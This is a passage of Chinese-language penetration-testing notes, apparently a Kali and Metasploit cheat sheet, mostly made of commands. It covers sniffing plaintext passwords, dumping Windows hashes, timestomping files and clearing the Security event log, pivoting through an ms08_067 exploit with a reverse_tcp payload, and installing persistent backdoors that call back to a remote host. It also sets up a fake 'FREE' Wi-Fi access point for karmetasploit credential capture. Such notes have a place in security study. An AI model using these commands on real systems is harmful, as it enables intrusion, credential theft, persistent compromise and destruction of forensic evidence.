  3. post/multi/recon/local_exploit_suggester # 漏洞利用建议

抓包
  1. load sniffer
  2. sniffer_interface
  3. sniffer_start
  4. sniffer_dump 1 1.pcap
  5. # 数据包分析器
  6. auxiliary/sniffer/psnuffle # ftp imap pop3 smb url 明文密码筛选

文件搜索
  1. search -f *.ini
  2. search -d c:\\documents\ and\ settings\\administrator\\desktop\\ -f *.docx # 注意转义

John the Ripper 弱口令
  1. post/windows/gather/hashdump
  2. auxiliary/analyze/crack_windows # 实验报错,感觉模块有问题

* 痕迹清除

# MACE时间

‘ MAC:文件的 Modified / Accessed / Changed 时间 , 创建时间, 修改时间(内容), 访问时间, 改动时间(内容+权限) ’

‘ E:MFT entry , Master File Table, 主文件分区表, 存放entry信息, (文件大小, 目录位置, 磁盘位置, 创建日期) ’

  1. # Linux
  2. ls -l # 默认查看的是mtime
  3. ls -l --time=atime # 查看access时间
  4. ls -l --time=ctime # 查看change时间
  5. stat # 查看全部时间

修改文件的时间(meterpreter)
  1. timestomp -v # 显示详细时间
  2. timestomp -f # 指定模板文件,对照修改时间
  3. timestomp -z '11/11/2020 20:00:00' 1.txt # 修改全部时间
  4. timestomp -a -m -c ...
  5. timestomp -b -r # 擦除时间

# event_manager

  1. run event_manager -i # 查看日志统计 (Windows: Application | Security | System)
  2. run event_manager -c Security # 清除安全日志

* 跳板 Pivoting

# routing

  1. # 路由转发
  2. msf# route add 192.168.0.0/24 1 # 目标网段路由指向sessionID
  3. # 跳板机 meterpreter
  4. run autoroute -s 目标机网段/24
  5. run post/multi/manage/autoroute
  6. # kali
  7. use exploit/windows/smb/ms08_067_netapi
  8. set rhosts [目标机IP]
  9. set payload windows/meterpreter/reverse_tcp
  10. set lhost [跳板机IP]
  11. 成功建立 session 2

# 端口转发

  1. # 跳板机meterpreter
  2. portfwd [-h] [add | delete | list | flush] [args]
  3. portfwd -add -L [跳板机IP] -l 2333 -r [目标机IP] -p 2333
  4. # 访问 跳板机2333端口 ---> 跳转到 目标机2333端口

* 持久后门

‘ 取得shell后第一件事情 ’

# meterpreter持久bind后门 metsvc

  1. run metsvc -h
  2. run metsvc -A # 开启持久后门建立服务侦听31337端口
  3. # 连接持久后门
  4. use exploit/multi/handler
  5. set payload windows/metsvc_bind_tcp
  6. set lport 31337
  7. set rhost 1.1.1.1

# 反弹持久后门 presistence

  1. run persistence -X -r mathilda.show -p 23333 -i 10
  2. # 使用handler模块连接

* MSF无线攻击

# karmetasploit

‘ 资源文件批量执行的一种渗透方式 ’

‘ 伪造AP、嗅探密码、截获数据、浏览器攻击 ’

  1. # 获取metasploit资源文件
  2. wget https://www.offensive-security.com/wp-content/uploads/2015/04/karma.rc_.txt
  3. # 安装依赖包
  4. gem install activerecord sqlite3-ruby
  5. # 配置DHCP服务器
  6. apt-get install isc-dhcp-server
  7. cat /etc/dhcp/dhcpd.conf
  8. option domain-name-servers 10.0.0.1;
  9. default-lease-time 60;
  10. max-lease-time 72;
  11. ddns-update-style none;
  12. authoritative;
  13. log-facility local7;
  14. subnet 10.0.0.0 netmask 255.255.255.0 {
  15. range 10.0.0.100 10.0.0.254;
  16. option routers 10.0.0.1;
  17. option domain-name-servers 10.0.0.1;
  18. }
  19. # 伪造AP
  20. airmon-ng start wlan0
  21. airbase-ng -P -C 30 -e "FREE" -v wlan0mon
  22. ifconfig at0 up 10.0.0.1 netmask 255.255.255.0
  23. touch /var/lib/dhcp/dhcpd.leases # 开启租约文件,可查看dhcp分配情况
  24. dhcpd -cf /etc/dhcp/dhcpd.conf at0
  25. # 添加路由和防火墙规则
  26. echo 1 > /proc/sys/net/ipv4/ip_forward
  27. iptables -P FORWARD ACCEPT
  28. iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
  29. # 启动karma
  30. msfconsole -q -r karma.rc_.txt
  31. # 允许用户上网
  32. vi karma.rc_.txt

* Armitage

‘ 调用Metaspolit命令, 开源免费前端 ’

  • 分为客户端(armitage)和 服务器(msfrpcd)

启动方式

  1. service postgresql start
  2. /usr/share/armitage/reamserver <ip> <password>

# 发现主机

  • 手动添加
  • 扫描结果导入 xml(nmap,nessus,openvas,appscan,nexpose,awvs)
  • 直接扫描发现(nmap,msf)
  • DSN枚举发现

# Cortana 脚本

Veil-Evasion:/use/share/veil-evasion/tools/cortana/veil_evasion.cna

https://github.com/rsmudge/cortana-scripts

* Cobalt Strike

‘ 类似于Armitage, 商业软件 ’

! Metasploit 开发

* MSF框架体系结构

Kali Linux - 图6

  • Ruby扩展 Rex
  • MSF核心
  • MSF基础
  • 六大模块

* MSF框架文件结构

  • lib _ 核心,建立MSF模块的全部重要库文件
  • modules _ MSF框架的所有模块
  • tools _ 辅助渗透测试的命令行程序,工具程序集合
  • plugins _ 扩展MSF功能插件
  • scripts _ Meterpreter等各种脚本

! 社会工程学

* Social-Engineering Toolkit

! 计算机取证

  • 活取证
  • 死取证

* dumpit

dump内存内信息

* volatility

分析内存文件


瓦雀